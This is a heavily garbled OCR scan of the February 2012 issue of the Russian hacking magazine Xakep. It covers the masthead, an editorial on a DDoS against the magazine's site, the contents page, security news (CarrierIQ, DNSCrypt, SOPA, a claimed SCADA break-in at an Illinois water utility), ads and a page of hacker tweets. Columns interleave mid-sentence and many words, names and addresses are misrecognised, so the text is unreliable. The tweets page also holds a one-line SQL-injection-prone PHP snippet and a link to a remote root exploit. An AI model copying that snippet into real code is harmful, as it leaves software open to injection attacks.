Xakep 02_2012

Page 1

1~1 iliili

111il1

I iiI

li 11iilli 1il" . 112002 11 ili 1IIIil iii' a

4607157100063



Intro

РЕДАКЦИЯ Никита «nikitozz» Кислицин I nikitozrareal.xakep.гu l Степан «step» ИЛЬИН IsteprareaJ.xakep.ru J Николай «go[l» Андреев I gorlum0гeal .xakep.гu l

Главный редактор Шеф - редактор

Выпускающий редактор Редакторы руБР.ик

PC_ZONE и UNITS

Степан

ВЗЛОМ

Маг ( magg0real.xakep.гu )

UNIХОlDиSУN/АСК

Андрей

MALWARE

Александр «О г.

кодинг

Николай «gorl» Андреев [gorlumrareal.xakep.rul Анна Григорьева Iqriqorievaraglc.rul Ел ена Болотникова

РR-директор

Литературный редактор

«step» ИЛЬИН ( step0real.xakep.гu )

«Andrushock» Матвеев l andгushock0real.xakep.ru l Klouniz» Лозовский [ alexander0real.xakep.гu J

ОУО

5есuгity-раздел

Антон «ant» Жуков lantrareal.xakep.ru) Андрей «Andrushock» Матвеев landrushockrareal.xakep.ru J Дмитрий «О1 91» Евдокимов {evdokimovdsragmail.coml

Монтаж видео

Максим Трубицын

Выпускающий редактор Uпiх-раздел

ART Дизайиер

Алик Вайнер [aliklaglc Егор Пономарев

Верстальщик

Вера (ветлы x

Имюстрация на обложке

Сергей Снурник

Арт-директор

ru l

PUBLISHING Учредитель

000 «Гейм Л,нд», 115280, Москва, ул. Ленинская Слобода, 19, Омега плаза, 5 зтаж, офис

НОВОГОДНИЙ

ooos

Во время новогодни х праздников сложилась очень ироничная

No 21.

Генеральный директор

Дмитрий Марунов

Генеральный издатель

Андрей Михайлюк

Финансовый директор

Андрей Фатеркин

Директор по маркетингу

Елена Каркашадзе

Управляющий арт-директор

Алик Вайнер

Главный дизайнер

Знди Тернбулл

Директор по производству

Сергей Кучерявый

Тел.: [4951935-7034, факс: [4951545-0906

РАЗМЕЩЕНИЕ РЕКЛАМЫ Тел .: [4951935-7034, факс: [4951545-0906

ситуация. Только мы закончили делать интервью с создателями

РЕКЛАМНЫЙ ОТДЕn

анти-ДДоС технологии

Директор группы TECHNOLOGY

Марина Филатова

Старшие менеджеры

Ольга Емель.нцева [olgaemllaglc.rul Оксана Алехина [alekhinalaglc.rul Елена Поликарпова Ipolikarpovaraqlc.ru) [работа с рекламными агентствами) Кристина Татаренкова Itatarenkovaraqlc.rul Юлия Господин ова Igospodinovaraglc.ru )

QRATOR,

как наш сайт и форум капитально

легли от мощного новогодне-рождественского ДДоСа. Ситуация была очень простая:

100 мегабитный

канал нашего сервера ока­

зался почти на 100 %за груженлевымизапросами и ресурсов для обс л уж ивания нормальных посетителей уже не осталось. Причем не т олько на уровне канала, но и на уровне производительности

самой платформы.

Ситуацию спасло только обращение как раз к нашим друзьям из

Highload Lab,

сервис которыхдостаточно быстро решил пробле­

му, грамотно зафильтровав вражеский ботнет. Надо сказать, это противостояние между интернет-сервисами и ДДоС-ботнетами­ достаточно унылая история. По сути, все опять упирается в деньги: ведьиорганизацияатак,изащитаотни х требуютфинансовых

Менеджер

Директор корпоративной группы Старший менеджер Менеджер

[filatovala glc.ru l

Мария Дубровская [dubrovskayalaglc.rul Марь. Буланова [bulanovalaglc.rul

Старший трафик-менеджер

ОТДЕnРЕАПИЭАЦИИСПЕЦПРОЕКТОВ Директор

Александр Коренфельд [korenfeldlaglc.rul

Менеджеры

Светлана Мюллер Наталия Тулинова

РАСПРОСТРАНЕНИЕ Директор по дистрибуции

Кошелева Татьяна

Руководитель отдела подписки

Клепикова Виктория

Ikoshelevaraqlc.ru ) flepikovaraqlc.rul

Руководитель

вливаний. Рад уе т одно: по моим подсчетам в этом финансовом споре

спецраспространения

Лукичева Наталь. [Iukichevalaglc.rul

перевес вс е-таки на белой стороне: организация атак стоит подо­

Претензии идополнительная иифа:

ро же, чем пользование специальными сервисами для фильтрации

8 случае возникновения вопросов по качеству печати и ОVО-дисков: claimraqlc.ru.

трафика . Прикинуть просто : условная стоимость примитивного

Факс для отправки купонов и квитанций на новые подписки:

Горячая лии ия по подписке

(495) 545-09-06

DDoS'a начинается от$50 в сутки, то есть за месяц DDoS'a придет­ ся выложить $1500. Уже эта сумма явно больше, чем требуется для фильтрации зловредной активности: за 50 баксов в день ничего

Телефон отдела подписки дпя жителей Москвы: [4951663-82-77 Телефон для жителей регионов и для звонков с мобильных телефонов: 8-800-200-3-999 Дn. писем: 101000, Москва, Г л.авпочтамт, a/. 652, Хакер

сверхъестественного не сделаешь, а стоимость профессиональ ­

Зарегистрировано в Министерстве Росси йской Федерации поделам печати, телерадиовещанию и

ной защиты начинается от$160 в месяц. В то же время для неподготовленного ресурса даже прими­ тивный ДДоС можетстать настоящей бедой: малотого, что никто обычно к этому не готов в те х ническом плане , но и необходимость

платить пусть даже $160 в месяц можетоказаться смертельной для частного некоммерческого саЙта . Так что

туберкулез -

болезнь бедных

0005 сейчас это как

:1.

средствам массовых коммуникаций ПИ я

77-11802

от 14.02.2002

Отпечатано в типографии Zapolex, Польша. Тираж 219 833 зкземпляров. Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация к размышлению. Лица , использую щие данную информацию в п ротивозаконных целях, могутбыть привлечены к ответственности . Редакция не несетответствен­

ности за содержание рекламных объявлений в номере. За перепечатку наших материалов без спроса- преследуем. По вопросам лицензирования и получения прав на использование редакци­ онных материалов журнала обращайтесь по адресу : contentraglc.ru.

© ООО«ГеймЛ,нд», РФ, 2012

nikitozz. ГЛ. ред. Х shop.glc.гu/xakep vkопtаktе.гu/хаkер таа

ХАКЕР

02/157/2012

001


Content

РОССИЙСКИЕ ХАКЕРЫ ВЗЛОМАЛИ СИСТЕМУ УПРАВЛЕНИЯ ВОДОПРО­

ВОДОМ Г ОРОДАСПРИНГФИЛД , США.

010

HEADER 004

MEGANEW5

016

Колонка Степы Ильинна

017

Proof-of-concept

Виртуальная машина на флеwке

Все новое за последний месяц

011

hackertweets Хак-сцена в твиттере

Менеджер задач на Ехсеl

COVERSТORY

Отряд

AntiDDoS Создатель

Highload Lab

Александр Лямин расска­

зывает о буднях борцов с

DDoS'OM.

COVERSTORY

COVERSTORY

018

030

Охота на жуков в

Как накрутить

Google Chrome

миллион

Руководство по

Полный ГИД по

заработку на пен­

накрутке онлайн­

тесте популярно­

голосований

го веб-браузера

CURRAN-GARDNER WAТER DISTRICT


036

PCZONE

_

UNIXOID

Игры в «песочнице»

104

Победы и поражения ореп source-2011 Самые важные достижения в мире ореп source

Приспосабливаем Sandboxie для анализа подозрительных

и прогнозы на будущее

файлов

040 044

Апdгоid на х86

110

Криптологическийрай

Как использоватьАпdгоid на обычном компе

Хардкорные возможности OpenSSL и OpenSSH,

Где хранить код?

о которых ты не знал

Выбираем правильный хостинг кода

_

SYN/ACK

116

Лечебное обрезание

_

ВЗЛОМ

048

Easy-Hack

Делаем минималистичный Liпuх-дистрибутив

Хакерские секреты простых вещей

для конкретного сервера

052

Обзорзксплоитов

122

058 064

Тотальный дестрой МопgоDВ

Рожденный под цифрой восемь Знакомимся с Windows Server 8

Анализсвеженькихуязвимостей

126

Новые доспехи для IТ-инфраструктуры

Разоблачение мифа о безопа с ности NoSQL СУБД

Применение IDS/IРS-действенный способ

Легальныйтроян: это как?

предотвратить вторжение в корпоративную сеть

Потрошим коммерческий зловред Remote Control System

070

X-Tools Программы для взлома

_

СЦЕНА

_ 132

FERRUM я твой

Sandy Bridge труба шатал

Тестирование материнских плат на базе чипсета АМО А75

072

ZeroNights2011

136

Запоздалыйотчетсхакерскойконференции

Samsung RF712-S01 Универсальный ноутбукдля развлечений!

в Санкт-Петербурге

_

MALWARE

074

Бурим антивирус. Еще глубже! Рассматриваем способы мониторинга событий

_

ЮНИТЫ

138

FAQ UNIТED

142

Диско

143

WWW2

Большой FAQ

и проактивной защиты в разных антивирусных программах

080

VВR-руткит

082

История руткитов

Новый тип руткитов, заражающих ВООТ-сектора

От начала начал до сегодняшнего дня

КОДИНГ 088

Ищем ошибки в программах на С/С++ Обзор бесплатных инструментов для статического анализа кода

094

HOW-TO: РЕ-пакер

100

Паттерн«Команда»

Разрабатываем свой упаковщик исполняемых файлов Унифицируем интерфейсы выполнения команд

8.5 Гб всякой всячины Удобные wеЬ-сервисы


MEGANEWS

21

МИНУТУ в среднем будетзанимать чистая

инсталляция (с нуля) Windows 8, утверждают в Microsoft.

КАК НЕ НУЖНО УСТРАИВАТЬСЯ НА РАБОТУ

ФЛЕШКАСДВУМЯ СТЕПЕНЯМИ ЗАЩИТЫ

ХАКЕР ПОПЫТАЛСЯ НАНЯТЬСЯ В КОМПАНИЮ,

ДЕВАЙС ДЛЯ ОЧЕНЬ-ОЧЕНЬ СЕКРЕТНЫХ ДАННЫХ

КОТОРУЮ САМ ЖЕ И ВЗЛОМАЛ

а Компания

Martiott

оцениваетсвои за­

тратыв400тыс.-1 мnн доnnаров. День­ гиуwnинаопnату усnугконсуnьтантов,

устранениебреwи в безопасности и вы­ явnениеущерба, на­ несенногохакером.

лучай, произошедший недавно в США, доказывает, что даже умелый

овсем скоро в производство, а затем и в продажу

хакер может бытьдураком. А как еще назвать парня, попавшего в руки

поступит флешка

Секретной службы США по собственной глупости? Отличившегося

двумя механизмами защиты. Это устройство

Crypteks, обладающая сразу

венгерского хакера зовут Аттила Немет, ему 26 лет, и он решил устроиться

поможет сохранить твои данные в безопасности, даже

на работу очень необычным образом. Еще в прошлом году хакер разослал со­

если третьим лицам удалось получить физический доступ

трудникам сети

к флешке. Для того чтобы его ограничить, разработчики

Marriott [зта крупная сеть отелей, работающая по всему миру,

наверняка тебе знакома) инфицированные трояном письма . Всего пострадало

поставляют с флешкой криптекс- цилиндрический

около ста человек. С помощью троянца хакер успешно добрался до конфиден­

механизм с пятью кодовыми кольцами, на каждое из ко­

циальных финансовых данных компании и похитил документацию . Затем он

торыхнанесен026буквлатинскогоалфавита.Навыходе

принялся удаленно шантажировать

Marriott, угрожая опубликовать укра­

получается порядка

12 млн

комбинаций, то есть вскрыть

денные денные, если ему не дадут работу в IТ-подразделении сети отелей!

такой замок будет весьма трудно . Но даже если флешку

Неудивительно, что такой наглости в

удастся извлечь из криптекса и вставить в компьютер, для

Marriott не выдержали

и обратились

за помощью в Секретную службу США . Люди из органов, при кинувшись специалистами, пообщались с Неметом по

e-mail и телефону и

HR-

в итоге назна­

доступа кданным придется ввести еще и код, поскольку

накопитель оснащен чипом 256-битного АЕS-шифрования.

чили ему собеседование на территории США. Когда хакер прилетел в Штаты,

Чтобы вскрыть зтузащиту, придется изрядно попотеть .

с ним действительно провели беседу, и он был уверен, что общается с обычным

В штатном режиме Crypteks обеспечивает скорость чтения 24 Мб/с и скорость записи 10 Мб/с. Устройство ожидается в продаже уже в этом году. Стоимость Crypteks USB на 8 Гб составит 130долларов, а на 16 Гб-160долларов. Цена бюджетной модели объемом 4 Гб пока, увы, не сообщается .

рекрутером . В ходе интервью Неметсам выложил всё о письмах, заражении,

шантаже. Самонадеянного хакера, разумеется, арестовали. Хотя Немет во всем сознался, теперь ему грозит до десяти лет тюрьмы .

MYS~ '5 Г6ИТ/С- ТАКОЙ ВЕЛИЧИ·

ПРЕЗИДЕНТИГЕНЕРАЛЬ·

ИЗ GOOGLE+ ТЕПЕРЬ МОЖНО

ЭКСПЕРТЫ MCAFEE ПРО·

НЫ ДОСТИГЛА МОЩНОСТЬ

НЫЙДИРЕКТОР Walt Disney

6ЕСПЛАТНОЗВОНИТЬ намо-

ЧАТПЛАТФОРМЕАNDRОID

MYSQL.COM СНОВА ВЗЛО· МАЛИ ПРИ ПОМОЩИ SQL·

DDОS·АТАКИ, зафиксирован-

Роберт Айгер приобрел цен-

бильные и стационарные те-

ВИРУСНУЮ ЭПИДЕМИЮ. ПО их

ИНЪЕКЦИИ , на зтот раз от-

ной специалистами

ные бумаги компании Apple

лефоны:такой функционал

данным, количество вирусов

личился хакер D35МОЩJ1'2.

Пятнадцать тысяч запросов

на сумму почти один миллион

появился у «Видеовстреч».

для Android выросло на 37%

Может, это было бы не смеш-

в секунду, это практически

долларов-всего 2670 акций

Увы, пока он доступен только

по сравнению со вторым

но, если бы это не был уже

DDoSroAa.

по цене $375 за штуку.

для США.

кварталом 2011 года.

третий случай эа год.

Prolexic.

ХАКЕР

02 / 157/2 012



MEGANEWS

БЕТА-ТЕСТ MICROSOFТ OFFICE 15 должен стартовать уже совсем скоро, в январе 2012-го.

ЗАЩИТАДЛЯ DNS-СОЕДИНЕНИЙ ' В OPENDNS ПРИДУМАЛИ НОВОЕ СРЕДСТВО ДЛЯ ПРЕДОТВРАЩЕНИЯ

CARRIERIQ СЛЕДИТ

ЗАТОБОЙ

АТАК ТИПА MAN-IN-THE-MIDDLE «Наша технология дополняетDNSSЕС и вседругие службы,

НОВЫЙ СКАНДАЛ ИЗ-ЗАWПИОНСКОГО ПОНАСМАРТФОНАХ

С8яэанныесэащитой DNS. DNSCrypl сразу

кандал сучастием ведущих компаний-произво­ дителей смартфонов и ФБР разразился недавно

жепосnеустановки

из-за странного «открытия» Апdгоid-разра6'отчика

обеспечивает безопасность и при­ ватность обменя DNS-трафиком

междутобой и OpenDNS» (Дзвид

Тревора Экхарта. Всё началось сзаявления, которое он

опубликовал на сайте androidsecuritytest.com. Оно гласило,

что ПО некоЙ компании СаггiегЮ в реальном времени за­

Юлевич, основатель

поминает, какие клавиши он нажимаетна своем телефоне,

и глава OpenDNS).

фиксируетего передвижения и всеми доступными методами

следитза ним без его ведома и согласия. По словам Экхарта, приложениетакже шпионитза владельцами миллионов

смартфонов подуправлением Android, RIM и ОС Nokia [про­ блема имеется далеко не во всех прошивках и моделяхl. Не прошло и недели, как из компании

CarrierlQ Экхарту

прислали письмо-предупреждение [Cease&Desistl. В нем говорилось, что Экхартякобы нарушил патент[то есть опу­ бликовал те данные, которые не имел права публиковаты ' а также распространял лживые сведения . Разработчик не растерялся и заручился поддержкой

Electronic Frontier Foundation, которая подтвердила что, согласно Первой

поправке к Конституции США, его публикация не нарушает закон.

CarrierlQ пришлосЬ«сдать назад » и извиниться . «Мы

заблуждались и поэтому при носим мистеруЭкхартусвои извинения за проблемы, которые могли возникнуть у него в связи с нашим письмом. Мы уважаем работу

омпания

OpenON5 анонсировала проект DN5Сгурt-новое сред-

EFF и раз­

деляемихзаинтересованностьвзащитеправнасвободу

ство для защиты от атак, связанных с модификацией транзитного

слова в быстро развивающемсятехнологическом мире»,­

трафика

mаситофициальноезаявление . Однакокомпаниявсёравно

DN5 или манипулрованием им [man -in-the-midd le, спуфинг

или снифингl. Основная задача проекта состоит в полном шифровании канала

продолжала отрицать, что ее ПО является руткитом и следит

связи между клиентом и сервером

за пользователями, игнорируя закон. Однако Тревор Экхарт

шифрования

DN5 . Примерно так же 55L используется для НТТР-трафика . DN5Crypt дополняеттехнологию DN55EC, которая

на зтом не остановился. В ответ на заискивания компании

в первую очередь обеспечивает аутентификацию, верификацию и получе-

он опубликовал на YouTube видео [ youtu.beIТ17XQl AYNol,

ние данных, но не предоставляетсредств для их шифрования. По сравнению

в котором наглядно продемонстрировал всёто, о чем писал

с проектом

DN5Curv, который осуществляет полный цикл шифрования всех запросов DN5, DN5Crypt значительно упрощен, причем как сточки зрения реализации, так и в плане конфигурации. DN5Crypt ориентирован только на шифрование канала связи между пользователем и резолвером DN5 и не за­ трагивает шифрование данных между DN5-серверами. DN5Crypt использует реализацию алгоритма Curve25519 [шифрование по зллиптическим кривымl вместо R5A. Серверная часть DN5Crypt, выполненная в виде прокси , может ра­ ботать в большинстве серверных систем, включая ОрепВ5О , NetB5D, Dragonfly В5О, FreeB5D, Linux и Мас 05 Х. DN5Crypt не поддерживает кеширование, поз­

ранее . С помощью анализатора пакетов он показал, как

софтотСаггiегЮ регистрирует каждое нажатие клавиши и каждое полученное 5М5, пока устройство находится в режиме полета. Затем он подключилтелефон kWi-Fi-сети и открыл

Google. Хотя он отказал поисковому гиганту в за­ CarrierlQ все равно

просе на определение местоположения,

зафиксировал его. Потом шпионское ПО вточности записало

его поисковый запрос [helloworldl, хотя он ввел его на стра­ нице , которая использует протокол

55L. Видео, которое

томуразработчикирекомендуютиспользоватьеговсочетаниисподдерживаю­

заканчивается резонными вопросами«почемувызывается

щими кеширование резолверами, такими как

5M5Notify, отсылающийтекстовые сообщения в СаггiегЮ?»

Unbound, PowerDN5 и dnscache. 05 Х.

Клиентская часть пока, к сожалению, разработана только для Мас

и « почему читаются данные, передаваемые по моему

Wi-Fi-соединению моим браузером, особенно по прото-

колу НТТР5 ? »,содержитещемногоинтересного. Можешь ПОСЛЕДНИЕ СЛУХИ С ВОСТОКА

посмотретьсам. Инцидент, получивший широкий резонанс

в СМИ, побудил сенатора Эла Франкена потребоватьу ком­ пании СаггiегЮ объяснений отом, почему она считает, что их

ИЗ ЮЖНОЙ КОРЕИ СООБЩАЮТ, ЧТО КОМПАНИЯ SAMSUNG В 2012 ГОДУ ВООБЩЕ ПЛАНИРУЕТ ОТКАЗАТЬСЯ ОТ ВЫПУСКА НЕТБУКОВ С ЭКРАНОМ 10·· 006

диагностическое ПО, встроенное в

141

модель смартфона,

не нарушаетзакон СШАо несанкционированных подклю­ чениях клиниям связи . Компания Apple спешно заверила,

что софтотСаггiегЮдавно не входитв состав i05. На самом деле ПО есть, но оно просыпается только в активном диа­ гностическом режиме, который по умолчанию в «яблочных»

аппаратах, конечно, отключен. ФБР, в свою очередь, отказа­ лось комментировать ситуацию, сославшись нато, что ведет

некое расследование. Пока не ясно, использует ли само ФБР софтотСаггiегlQ, или ведетрасследование в отношении

CarrierlQ, или совмещает и то и другое .

ХАКЕР

02/157/ 2012


~ YVEFS ~~~EH Е ~ РОШЕ СОЦАТЕЛЬ РАСТИТЕЛЬНОЙ КОСМЕТИКИ R

_

..

,.,.- ........ . •

ЭФФЕКТИВНОСТЬ ПРОТИВ ПРЫШЕЙ И БЕРЕЖНОЕ ОТНОШЕНИЕ К КОЖЕ Исследователи

Растительной

Косметики

Ив

Роше

объединили

салициловую кисло"!)" обладающую антибактериальным эффектом и

способствующую обновлению кожи, ДПЯ эффективного воздействия на прыщи, и экстракт мякоти Алоэ Вера БИО, получивший признание

благодаря

своим

восстанавливающим

свойствам,

ДПЯ

гарантии

оmимальной переносимости кожей.

Эффективность доказана:

- Глубоко очищает кожу. - Устроняет черные точки. - Предупреждает появление прыщей и черных точек.

Узнать больше: Присоединяйтесь www.yves·rocher.ru Тел . :

Реклама . Товар сертифицирован.

8·800·3333·000 IЗ60НО< бесплотный)

111 Самостоятельная оценко, тест на удовлетворенность

продуктом, проееденный при участии

26 человек. * Фopмyno СО;щ:JНО nOДЩ>'ЮТOI1OOIЧOCКИМ КОН1РОЛ<!М Pe<~нo французскими Щ>'ЮТOЛOIOМИ.

РЕКОМЕНДОВАНOl

~РМДТОЛОГДМИ '


MEGANEWS

ПОДАННЫМ MICROSOFТ, ПИРАТСКИЕ ОУО ПРОДАЮТ в 53 % магазинов Пскова,

САМЫЕУЯЗВИМЫЕ СМАРТФОНЫ

2011

44 % магазинов Красноярска и 43 % магазинов Сургута.

SO РА УГРОЖАЕТ «В КО НТАКТЕ»

ГОДА

СПЕЦИАЛИСТЫ BIT9 ОПУБЛИКОВАЛИ ЗАНИМАТЕЛЬНЫЙ АНТИТОП

И

RUTRACKER

НОВЫЙ ЗАКОНОПРОЕКТ SOPA (STOP ONLINE

PIRACY АСТ)

НАЦЕЛЕН НА БОРЬБУ С ПИРАТСТВОМ

ВИНТЕРНЕТЕ Палату пред­

ставителей США поступил на рас­

смотрение законопроект

Полный списокуяз­ вимыхаппаратов,

по версии

Bit9, вы­

Stop Online Pirac y Ас! [SOPA], предлагающий

глядитследующим

беспрецедентные меры

образом:

в отношении иностран­

1. Samsung Galaxy Mini. 2. НТС Desire. З. Sony Ericsson XperlaX10. 4. Sanyo Zio. 5. НТС Wildfire. 6. Samsung Epic4G. 7. LG OptimusS. 8. Samsung Galaxy S. 9. Motorola Droid Х. 10. LG OptimusOne. 11. Motorola Droid 2. 12. НТС Ev04G.

ных сайтов с нелицен­ зионным контентом.

Планируется изымать домены у владельцев ,

блокировать их счета в платежны х системах, перекрывать им источни-

ки финансирования [например, исключать зти ресурсы из рекламной программы AdSense], удалять контент зтих сайтов из поисковы х систем и на уровне

tSP блокиро­ SOPA

вать дост у п к ним с территории США . Что хуже,

может при крыть лазейку в DМСА, которая позволяла мериканская компания

Bit9 опубликовала

результаты очередного

тем сайтам, с которых пиратский контент скачивали

исследования. «Грязная» дюжина наиболее уязвимых смартфонов,

сами пользователи , избегать ответственности за его

пользующихся популярностью у потребителей, выглядит забавно .

распространение. Представители МРАА и

рыми модификациями «яблочного» аппарата. Критериями попадания в зтот

RIAA оп убли­ SOPA грозит в первую очередь. Это торрент-трекеры [в том числе rutracker.org и demonoid .me] и различные фаЙл-хостинги. Отдель-

bIack list стали популярность на рынке, устаревшая небезопасная версия ОС,

но упомянут ВКонта кте, где реализованы некоторые

Весь зтотсписок состоит из аппаратов, работающих под управлением разных версий ОС Android . Почетное

13 место занимает iPhone 4 вместе с более ста­

ковали списки сайтов, которым

установленная по умолчанию, и самые медленные циклы обновления.

функции, которые «у мышленно И зффективно нарушают

Далеко не почетное первое место в антитопе досталось Samsung

законодательство».

Galaxy Mini,

а второе и третье места при надлежат не менее известны м «трубкам» НТС

Лоббисты из Голлив уд а уверяют, что только так можно

Desire и Sопу Ericsson Xperia Х1 О соответственно.

бороться с пиратство м вне американской юрисдикции

Почем у «черный список» полностью состоит из аппаратов на базе Android

ОС? Исследователи Bit9 показали, что на 56 % [!] всех устройств на базе

Android,

представленных сегодня на рынке, установлена устаревшая версия

ОС. Такие производители мобильныхустройств, и

KaKSamsung, НТС , Motorola

LG, зачастую продаютсмартфоны сужеустаревшим предустановленны м ПО .

и в будущем сохранить мировоелидерство США на рынке продуктов интеллектуальной собственности. Против­ никами проекта стали интернет-сообще с тво, компании

Google, Yahoo, Facebo ok и все те, к то говорят о недопу­ стимости введения цензуры в интернете, ведь право­

Впоследствии они вовсе не торопятся модернизировать зти аппараты и осна­

обладатели получают возможность без суда требовать

щать их последними и наиболее безопасными версиями

закрытия практически любого саЙта.

ЛИДЕР В ОБЛАСТИ ПРОИЗВОДСТВА

АКУСТИКИ ДЛЯ КОМПЬЮТЕРОВ ПРЕДСТАВЛЯЕТОБНОВЛЕННУЮ

ЛИНЕЙКУКОЛОНОК.

Android.

EDIFIER R2500 Edifier International Ltd. расширяетсвоюлинейку аудио систем 2.0. Одна из новинокданнойлиней­ ки - колонки Edifier R2500. Эта аудио система оснащена встроенным

USB портом, SD кардриде­

ром, FМ-тюнером и входом АUХдля подключения

'- J .l,

~.If' ~ .~,

.!

,i

любых источников звука. Колонки выполнены в

ДЖОН КАРМАК ИЗ ID

деревянном корпусе и производят50 Вт мощности.

SOFTWAREI ВЫЛОЖИЛ В ОТ­

Это обеспечивается благодаря 5 -дюймовым маг­

КРЫТЫЙ ДОСТУП исходники

КУРСЫ ПО КРИПТОГРАФИИ:

нитнозкранированными динамикам, и 1-дюймо­

движка

crypto-class.org. Лекции

вомутвиттеру и

ной лицензией. Программи­

будет читать профессор Дэн

свой).

сты уже нашли в коде кучу

Боне~одинизразработчи­

ошибок .

ков

2 усилителям (для каждой колонки Edifier R2500-впечатляющая система для

тех, кто ищетотличное качествозвука.

008

" :

идеально подойдет для дома или офиса . Новинка

I.~.g~=

Doom 111 подсвобод­

ВЯНВАРЕСТЭНФОРДОТ­

КРЫВАЕТБЕСПЛАТНЫЕ

tcpcrypt.

ХАКЕР

02/157/2012


Тот факт, что расходы на обслуживание всегда превосходят цену приобретения устройства, сегодня не вызывает сомнений. Создавая устройства на базе уникальной технологии

ECOSYS,

компания

KYOCERA

использует долговечные

компоненты. Это делает нашу печать в высшей степени надежной, позволяет

нашим МФУ бесперебойно работать в течение длительного времени и создает непревзойденно низкую общую стоимость владения в своем классе. Экономьте с каждой новой страницей вместе с компанией

KYOCERA. www.kyoceramita.ru

KYOCERA. ВЫ

МОЖЕТЕ НА НАС ПОЛОЖИТЬСЯ.

КИОСЕРА МИТА Рус

Телефон

-

Корпорация

+7 (495) 741 0004 - www.kyoceramita.ru

KYOCERA MITA - www.kyoceramita.com

~ K~[][ERa


MEGANEWS

ТРИ ГОДА ПОТРЕБОВАЛОСЬАРРLЕ ,чтобы закрыть дыру в iTunes, через которую с 2008 года распространялся троян

FinFisher.

ЗАЧЕМ РОССИЙСКИМ ХАКЕРАМ АМЕРИКАНСКИЙ НАСОС? ПЕРВАЯ В ИСТОРИИ ИНОСТРАННАЯ АТАКА НА .КОММУНАЛЬНУЮ ИНФРАСТРУКТУРУ США ПОКА НЕ НАНЕСЛА УЩЕРБ екоторые американские эксперты давно предупреждают, что новые компьютерные сис те­

мы управления с мод улями удаленного доступа

для сетей водоснабжения, атакже электросети

smart grid с TCP/IP-стеком представляетсобой потенциальную опас ность . «Стра шилки » хо дят уже лет

10-15, стех пор как

началасьактивнаякомпьютеризацияобъектовкомму­ нальной инфраструктуры . Инцидентсо Stuхпеt показал , что атаки на промышлен­ ные объекты не фантастика, а реальная сфера деят ель ­ ности спецслужб. После этого инцидента американская

военщина напряглась. Что будет, если такой вирус вы­ ведетизстроя, например,десятокамериканскихАЭС?Как реагировать на диверсию? Пентагон попытался запугать потенциальных врагов и заявил, что ответом на нее может

стать военный удар. Сегодня военная доктрина США рас­ сматривает кибератаки на национальную инфраструктуру как возможный повод для начала военныхдействий. Ихотядо настоящего времени ни одна подобная зарубеж­ ная атака не была реализована, всё когда-то случается в первый раз. Американскийзкспертвобластибезопасности SСА DА-систем Джо Вайсс с

1998 года

ведет счет произо­

шедшим на промышленны х объектах инцидентам, кото­

рые могут объясняться хакерской активностью. В ноябре

2011

года он поведал публике о «се нсационном » происше­

ст вии. Из своих источников Вайссузнал, что иностранные

После шумихи с « ВЗЛОМОМ» насосной станции 8 Иллинойсе с прессой связался некто prOf, который рассказал,

насколько просто проникнуть в SСАDА-систему водопровода Южного Хьюстона (TexacJ. В качестве доказатель­ ства он предъявил пять скринwотов и системную информацию. Хакер не причинил вреда системе, хотя могбы.

хаке ры проникли в SСАDА-системууправления водопро­ водом Сuггап-GагdпегWаtегDistгiсt в города Спрингфилд

[штат Иллинойс), которая обслуживает всего пару тысяч

К расследованию подключились специалисты Ми­

жителей. При закрытом расследовании инцидента влогах

нистерства внутренней безопасности США и ФБР. По сле

якобы был обнаружен российский IР-адрес. Один из насо­

предварительног о анализа логов они сообщили, что

сов водоподъемной башни сгорел в результате много­

никакихследовхакерскоЙатакиневыявлено.Наличие

кратных включений и отключений. Расследование по­

российских IР-адресов в логах компьютерной системы

казала, что система управления

объясняется тем, что один из сотрудников организации­

SCADA глючила в течен ие

двух-трех последни х месяцев. Поскольку вход в систему

подрядчика выезжал в Россию поличному делу. Ну а сам

был осуществлен через обычную форму с логином и паро­

водяно й насос глючил и сломался от старости.

лем , Вайсс заявил, что злоумышленник предварительно

Каждый решает сам, можно ли верить специалистам

взломал сайт разработчика SСАDА-систем и пол учил базу

из органов и ВаЙ ссу. С одной сторо ны , история о загра­

с именами и паролями пользователей, так что опасность

ничной поездке сотрудника выглядиткак-то нелепо. РгО!

грозит и системам водоснабжения в других американских

говорит, что проникнуть В американскую SСАDА-систему

городах. Шуми ха поднялась немалая -

того же водопровода способен даже дву хле тний ребенок

всё-таки речь шла

о первой в истории зарубежной атаке на коммунальную

-это крайне просто. С другой стороны, зачем российским

инфраструктуру США.

хакерам американский нас ос?

CURRAN-GARDNER WATER DISTRICT

ФАЙРВОЛ ДЛЯ ТВОЕЙ КОЖИ Марка Ив Роше представляет гамму средств

рые обеспечивают улыраэффективность

Pure System, разработанную специально

против прыщей и улырабережное отно­

для молодой проблемноЙкожи.Данная

шение к коже. Это салициловая кислота и

программа эффективно борется с основны­

эстракт мякоти алоэ.

ми признаками проблемной кожи:

Салициловая кислота, обладающая анти­

1) избыток кожного жира; 2) неровная поверхности кожи;

бактериальным эффектом, удаляет отмер­

З) прыщи и черные точки;

борется с закупоренностью пор- главной

4) следы после прыщеЙ . Работая над Pure System,

Исследователи

Растительной Косметики

Yves Rocher оста­

шие клетки с поверхности кожи, а также

причиной возникновения черных точек и

новили свой выбор на компонентах, кото-

• прыщеЙ. Алое смягчает кожу и укрепляет ее защитную функцию.


labobuk Мысль дня : ОДИН плохой про­ граммист ежегодно создает три

новых рабочих места .

if[user.followers == О && user. 50 && twееt.mепtiопs • > 3 && tweet . hasJinkНtweet. is_probabIy_spamJ

I

Мой любимый

SQLi

сцена­

рий: $id=$_GEТ['id'); $о=пеw

fоllоwiпg >

Object[$id); SELECT ... WHERE

lamikko: Только что изменил имя своей

ladlitchfield:

точки Wi-Fi на '5.99 евро/ми­

Пачка новых багов в

нута' . Что ж, посмотрим, как много будет желающих, подсоединится к ней.

Написать компилятор несложно. А вот написание компилятора,

отправлена на

11 gR2 была secalert_usla

oracle.com и. я так и не получил ответа в течение 24 часов ... Вы ребята забы­ ли меня? ;-)

ЕВ

laABazhanyuk FreeBSD ftpd апd ProFTPd оп FreeBSD Remote гОО! Exploit: http://www.exploit-db.com/ exploits/18181/

Комментарий:

lakevinmitnlck:

Дэвид Личфелд самый злостный

Иранцы испольэовали

убийца этой

Oracle. Все самые страшные баги в СУБД - его рук дело, при этом, если

spoofing для

ского беспилотника. Если это

что не так, он не заискивает перед гигантом,

а выкладывает Oday баги в паблик [напри­

GPS

захвата американ­

правда, то может это вам ответ за

Stuxnet?

мер, расскажет на BlackHat)

laortegaalfredo: laalexmlmmunity:

Не хочу раздувать, но в следую­

lathegrugq:

щем нашем исследовании мы

Продажа эксплойтов

Люди спрашивают: что означает

выражение «боевой зксплойт»? Ну что же, тут два ключевых

